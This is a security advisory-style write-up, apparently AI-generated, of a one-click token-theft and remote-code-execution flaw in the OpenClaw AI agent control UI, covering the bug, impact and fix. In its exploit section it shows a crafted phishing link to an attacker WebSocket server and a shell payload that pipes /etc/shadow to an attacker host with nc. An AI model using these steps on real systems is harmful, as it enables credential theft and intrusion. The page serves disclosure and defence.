CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25253

OpenClaw, Open Door: The 1-Click RCE That Stole Your AI's Brain

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 3, 2026·6 min read·979 visits

Executive Summary (TL;DR)

OpenClaw trusted the 'gatewayUrl' query parameter without validation. Attackers can craft a link that, when clicked by a logged-in user, forces their browser to send their authentication token to a malicious WebSocket server. This token grants full control over the AI agent, leading to immediate RCE.

A critical logic flaw in OpenClaw (formerly Moltbot) allows attackers to perform a one-click Remote Code Execution (RCE) attack. By manipulating a simple URL parameter, an attacker can force the OpenClaw frontend to initiate a WebSocket connection to a malicious server and—in a stroke of helpful stupidity—immediately hand over the user's authentication token. This allows the attacker to impersonate the user, hijacking the AI agent to execute arbitrary commands on the host machine.

The Hook: Giving Robots Knives

We are living in the golden age of AI Agents. We build tools like OpenClaw (formerly Moltbot) to automate our drudgery. We give them access to our file systems, our Docker sockets, and our cloud credentials so they can "help" us write code and deploy infrastructure. Essentially, we are installing a high-privileged remote access trojan (RAT) on our own machines and calling it productivity.

But here is the catch: when you install a tool designed to execute commands and modify systems, the authentication mechanism protecting that tool becomes the single point of failure between a happy developer experience and a total compromise. OpenClaw is a web-based interface controlling a local agent. It needs to talk to that agent via WebSockets.

CVE-2026-25253 is the story of what happens when that communication channel is too trusting. It is a reminder that while we worry about AGI taking over the world, we should probably worry more about a 10-line JavaScript bug that lets a script kiddie take over our laptops via a single link.

The Flaw: A fatal Lack of Cynicism

The vulnerability lies in the OpenClaw Control UI, the frontend interface where users chat with their AI minion. To make the tool flexible, the developers allowed the frontend to connect to different backend gateways. They implemented this via a URL query parameter named gatewayUrl.

The logic was simple: check the URL for ?gatewayUrl=... and connect the WebSocket there. The problem? Zero validation.

This is a classic "Confused Deputy" problem combined with a lack of sphere isolation (CWE-669). The application assumes that because the user is visiting the trusted dashboard, the parameters in the URL are also trusted. It fails to realize that the URL is actually attacker-controlled input. If I send you a link to your own dashboard but append my server as the gateway, the application dutifully obeys.

But connecting to a malicious server isn't inherently fatal—browsers connect to strangers all the time. The fatality comes from what happens immediately after the handshake.

The Code: The Smoking Gun

Let's look at the JavaScript that caused the meltdown. It is almost tragic in its simplicity. The frontend code grabs the parameter and immediately opens a socket:

// 1. Trust the input blindly
const urlParams = new URLSearchParams(window.location.search);
const gatewayUrl = urlParams.get('gatewayUrl');
 
// 2. Open the door
const socket = new WebSocket(gatewayUrl);

At this point, the victim's browser has opened a WebSocket connection to wss://attacker.io. But here is the coup de grâce. The application tries to authenticate itself to this new "gateway" to prove it has permission to execute commands. It does this by pulling the ultra-sensitive JWT/token from local storage and hurling it into the void:

// 3. Hand over the keys to the castle
socket.onopen = () => {
  socket.send(JSON.stringify({
    type: 'auth',
    token: localStorage.getItem('token') // <--- GAME OVER
  }));
};

There is no check to see if gatewayUrl matches the origin. There is no whitelist. There is no "Are you sure you want to connect to evil.com?" prompt. The code just assumes that if the URL is there, it must be right. It creates a direct pipeline effectively piping localStorage.token > attacker.

The Exploit: One Click to Shell

Exploiting this requires no complex memory corruption or race conditions. It is a pure logic attack. Here is how a threat actor weaponizes this against a developer using OpenClaw.

Phase 1: The Trap The attacker sets up a simple WebSocket server listening on the internet. Its only job is to log incoming messages. The attacker then crafts a URL. If the victim's OpenClaw dashboard is hosted at http://localhost:3000 (or a public domain for hosted versions), the malicious link looks like this:

http://localhost:3000/control?gatewayUrl=wss://evil-hacker.com/drain

Phase 2: The Lure The attacker sends this link to the victim via a Phishing email, a Discord DM, or embeds it in a hidden iframe on a malicious website ("Click here to update your drivers!").

Phase 3: The Heist When the victim clicks the link:

  1. The legitimate OpenClaw UI loads.
  2. It reads wss://evil-hacker.com/drain from the query string.
  3. It connects to the attacker's server.
  4. It immediately sends: {"type": "auth", "token": "eyJhbGciOi..."}.

Phase 4: RCE The attacker now has the token. They disconnect the victim and connect to the real OpenClaw gateway using the stolen token. Since OpenClaw allows the user to run shell commands (that's its job!), the attacker simply sends:

{"command": "exec", "payload": "cat /etc/shadow | nc attacker.com 1337"}

The Impact: Why Panic?

Why is this an 8.8 High severity? Because of the target demographic. OpenClaw isn't used by random web surfers; it is used by developers, DevOps engineers, and sysadmins.

When you compromise an OpenClaw instance, you aren't just getting a shell on a random container. You are likely getting a shell on a machine with:

  • SSH keys to production servers.
  • AWS/GCP/Azure credentials in ~/.aws/credentials.
  • Source code for proprietary software.
  • Signing keys.

The impact is absolute. Confidentiality, Integrity, and Availability are all effectively surrendered to the attacker the moment that token hits the wire. The fact that this requires user interaction (1-click) is the only thing keeping it from being a 10.0.

The Fix: Trust No One

The remediation in version 2026.1.29 introduces the cynicism the code originally lacked. The fix involves two main layers of defense:

  1. Origin Validation: The application now checks if the gatewayUrl matches the origin of the UI. If you are on localhost:3000, the websocket better be on localhost:3000 too.
  2. Explicit Consent: If a non-standard gateway is requested, the automatic connection is halted. The user is presented with a modal: "This application is attempting to connect to an external gateway. Do you trust wss://evil.com?".

For users unable to patch immediately (though you really should), the only workaround is network segmentation—ensure your OpenClaw dashboard is not accessible from the wider internet and be extremely paranoid about clicking links that look like your own local tools.

Official Patches

GitHubOfficial Advisory

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 89% most exploited

Affected Systems

OpenClaw AgentMoltbot (Legacy Name)ClawdBot (Legacy Name)

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenClaw
OpenClaw
< 2026.1.292026.1.29
AttributeDetail
CWE IDCWE-669 (Incorrect Resource Transfer Between Spheres)
Attack VectorNetwork (Web)
CVSS Score8.8 (High)
ImpactRemote Code Execution (RCE)
PrerequisitesUser Interaction (1-Click)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1566.002Phishing: Spearphishing Link
Initial Access
T1555.003Credentials from Web Browsers
Credential Access
T1059.003Command and Scripting Interpreter: Windows Command Shell
Execution
CWE-669
Incorrect Resource Transfer Between Spheres

The product does not properly check the destination of a resource transfer, allowing the resource to be transferred to an actor in a different, untrusted sphere.

Known Exploits & Detection

Ethiack ResearchOriginal research detailing the WebSocket token leak.
DepthFirstTechnical teardown and PoC steps.

Vulnerability Timeline

Vulnerability Disclosed & Patched
2026-01-29
Published to NVD
2026-02-01
GHSA Advisory Published
2026-02-01

References & Sources

  • [1]GHSA-g8p2-7wf7-98mq
  • [2]Ethiack: One-Click RCE in Moltbot

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-11748
6.9

CVE-2026-11748: Unauthenticated LDAP Injection in Central Dogma Server Authentication

An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.

Alon Barad
Alon Barad
9 views•6 min read
•1 day ago•CVE-2026-11746
9.4

CVE-2026-11746: Use of Hard-coded ZooKeeper Replication Secret 'ch4n63m3' in Central Dogma Server

CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-56665
4.2

CVE-2026-56665: Logical Validation Bypass in ZITADEL External JWT Identity Provider

A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.

Alon Barad
Alon Barad
7 views•7 min read
•1 day ago•CVE-2026-59149
6.5

CVE-2026-59149: Sibling Directory Path Traversal in Mockoon Backend Server

CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.

Amit Schendel
Amit Schendel
9 views•5 min read
•1 day ago•CVE-2026-59148
8.8

CVE-2026-59148: Unauthenticated Administrative API and CORS Misconfiguration in Mockoon

An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.

Alon Barad
Alon Barad
11 views•6 min read
•1 day ago•CVE-2026-56666
4.8

CVE-2026-56666: Account Takeover via Improper Email Verification in ZITADEL Federated Identity Handler

An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.

Amit Schendel
Amit Schendel
7 views•7 min read